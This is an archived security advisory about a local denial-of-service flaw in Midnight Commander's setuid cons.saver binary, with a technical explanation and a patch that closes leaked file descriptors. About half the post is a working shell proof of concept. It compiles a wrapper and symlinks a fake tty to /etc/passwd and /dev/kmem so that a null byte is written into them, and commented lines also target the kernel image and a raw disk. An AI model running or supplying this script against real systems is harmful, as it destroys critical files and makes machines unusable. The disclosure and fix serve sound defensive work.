Many systems have the SUID bit set on cons.saver (/usr/lib/mc/bin/cons.saver), part of the Midnight Commander package. A denial of service vulnerability has been found which allows local users to overwrite a null character to any symlinkable file. Includes proof of concept exploit and a patch for cons.saver.
65e644ff14594df49724ef14d399326c53243a989d5213911a2bd76b3885227c
Subject: Problems with cons.saver
Author: Maurycy Prodeus < z33d@eth-security.net >
Hi,
Many systems have a suid on cons.saver which is part of midnight commander
package. Standard location of this binary is /usr/lib/mc/bin/cons.saver.
There is a bug, which allows luser to write '\0' char to any symlinkable file
in system. So it can be very destructive, I wrote simple example of DoS.
Technical details ... it isn't common bug. Cons.saver doesn't check if
stdout is opened. Next, it checks if argv[1] is a terminal file.
First, file is opened with O_RDWR flag and then it checks if this file is
character device. When error occures, cons.saver doesn't close this file.
Later, NULL character is written to 1 fd. (our 'fake' stdout)
I wrote temporary patch, but Solar's OpenWall Patch should be enough.
- z33d
------------------------------------------------------------------------
I'm looking for job :: http://z33d.eth-security.net/job.html
------------------------------------------------------------------------
=> Proof of concept:
#!/bin/sh
# *---------------------------------------------------------*
# Slaughterhouse ver. 1.0 by z33d@eth-security.net (C) 2000 |
# Bloody, Midnight DoS ;> with suid cons.saver
# Dedicated to my lovely mother.
# : Greetz
# * (...) Oczy niebieskie (...)
# - y3t1 - twe zyczenie jest dla mnie rozkazem :)
# - wroclaw's killers <=> dyziu, decker, kanedaa, korie, viedzmin (...)
# - argante development team (lcamtuf,bulba,artur,marcin,bikappa,honey ...)
# - #sigsegv (funkysh, y3t1, cliph, detergent, kris, venglin ...)
# - sister of night
# - other ppl like mareczek, grubszy, karol, adam, wojtas, siebylnikov,
# slodka Asia (...) |
# *---------------------------------------------------------*
if [ -u /usr/lib/mc/bin/cons.saver ]; then
echo "Zdarza sie."
else
echo "Swoja matke przepros ..."
exit 0
fi
cat >/tmp/rzeznia.c <<_eof_
#include <stdio.h>
#include <unistd.h>
main(){ close(0); close(1);
execl("/usr/lib/mc/bin/cons.saver","cons.saver","/tmp/tty13",NULL);
printf("To jakies fatalne nieporozumienie...\n");}
_eof_
gcc /tmp/rzeznia.c -o /tmp/rzeznia
rm -f /tmp/rzeznia.c
if [ -x /tmp/rzeznia ]; then
echo "On naostrzyl juz noz ... mial rowek i trojkatny ksztalt"
else
echo "ZZZZZZz Zyz yzyzyyzyzyzyzyyy y y . . ."
exit 0
fi
ln -s /etc/passwd /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
ln -s /dev/kmem /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
# Uzyj w razie potrzeby ;>
# ln -s /boot/vmlinuz /tmp/tty13
# /tmp/rzeznia
# rm -f /tmp/tty13
# ln -s /dev/hda /tmp/tty13
# /tmp/rzeznia
echo "... "
echo " he passed away"
rm -f /tmp/rzeznia
=> My temporary patch
--- mc-4.5.42/src/cons.saver.c Mon Dec 6 18:50:02 1999
+++ mc-4.5.42/src/cons.saver.c.z33d Sun Nov 12 17:20:48 2000
@@ -116,12 +116,15 @@
if (fd == -1)
return -1;
- if (fstat (fd, &stat_buf) == -1)
+ if (fstat (fd, &stat_buf) == -1){
+ close(fd);
return -1;
+ }
/* Must be character device */
if (!S_ISCHR (stat_buf.st_mode)){
*msg = "Not a character device";
+ close(fd);
return -1;
}
@@ -132,17 +135,20 @@
/* Second time: must be console */
if ((stat_buf.st_rdev & 0xff00) != 0x0400){
*msg = "Not a console";
+ close(fd);
return -1;
}
if ((stat_buf.st_rdev & 0x00ff) > 63){
*msg = "Minor device number too big";
+ close(fd);
return -1;
}
/* Must be owned by the user */
if (stat_buf.st_uid != getuid ()){
*msg = "Not a owner";
+ close(fd);
return -1;
}
}